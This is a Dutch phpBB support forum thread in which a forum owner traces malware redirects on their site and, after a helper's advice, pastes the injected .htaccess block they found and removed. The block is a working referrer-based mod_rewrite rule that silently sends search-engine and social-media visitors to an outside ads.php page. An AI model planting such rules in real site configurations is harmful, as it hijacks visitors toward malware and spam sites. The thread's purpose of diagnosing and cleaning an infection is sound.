Storing forum [opgelost]

[Nessini]

• Adres van je forum: http://www.*****.net/forum
  Event. modificaties op je forum: Mobile mod
  Wanneer ontstond het probleem? Sinds 7 dagen
  phpBB versie: 3.0.11 met installatron
  
  
  Heb je onlangs iets veranderd aan je forum? Niets
  Wat is het probleem?

Het probleem is dat gebruikers mij eerst meldde dat zij niet alles konden zien op het forum. Sommige plaatjes waren verdwenen. Hiernaast zeiden zij, dat links, die normaal gewoon linken naar de bedoelde bronnen, ineens verwezen naar Braziliaanse (warez/malware) websites. Ook als je nu op het plaatje klikt in de header van phpbb, verwijst deze naar een rare site. Deze site varieert ook telkens. Ik kan nergens naar dan ook nergens iets ontdekken van deze verwijzingen. Mijn host heeft de websites al verplaatst naar een andere server en een virusscan gedaan, maar niets aangetroffen.

Hoe kan dit ontstaan en, veel belangrijker, hoe krijg ik dit weer weg?

(update : na dit bericht weer even wezen kijken, maar nu verwijst hij mij niet door.) Misschien is het zo nu en dan.

[Pola]

Jouw site meldt een infectie: http://sitecheck.sucuri.net/results/www ... .net/forum.

Meer informatie over de malware kun je hier lezen: http://labs.sucuri.net/db/malware/malware-entry-mwhta7.

Controleer .htaccess en index.php op ongewenste wijzigingen.

[Nessini]

Bedankt!

Dit staat in de .htacces

Code: Selecteer alles

#c3284d#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://camel-paper.com/wp-includes/ads.php [R=301,L]
</IfModule>
#/c3284d#

De regels zijn er nu uit, en het lijkt opgelost

Bedankt!